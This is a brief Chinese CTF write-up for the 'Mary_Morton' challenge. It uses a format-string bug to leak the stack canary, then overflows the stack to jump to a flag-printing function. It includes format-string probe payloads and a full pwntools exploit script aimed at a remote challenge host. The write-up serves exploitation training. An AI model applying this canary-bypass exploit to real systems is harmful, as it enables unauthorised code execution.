格式化字符串漏洞加栈溢出,先看main函数逻辑:

程序中有cat flag的函数,只需栈溢出后修改返回地址。1为栈溢出,2为格式化字符串漏洞:

格式化字符串漏洞

栈溢出
两个函数都涉及到了canary的检查,因此先用格式化字符串漏洞把canary泄露出然后再栈溢出。测offset的payload一般为:
aaaa/%x/%x/%x...

offset为6,计算泄露特定地址的payload一般构造为(target_addr - start_addr + offset) / address_bytes_length(64位为8,32位为4)。再调试一下栈溢出时的栈分布情形:

0x4008ac为返回地址,由此得到更改控制流所需的偏移量。写出pwn脚本:
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
flag = 0x004008da
# p = process("./Mary_Morton")
p = remote("111.200.241.244", 54983)
p.recvuntil("3. Exit the battle \n")
p.sendline(b"2")
p.sendline(b"%23$p")
canary = int(p.recvline(), 16)
print(canary)
p.recvuntil("3. Exit the battle \n")
p.sendline(b"1")
payload = cyclic(0x88) + p64(canary) + cyclic(8) + p64(flag)
p.sendline(payload)
p.interactive()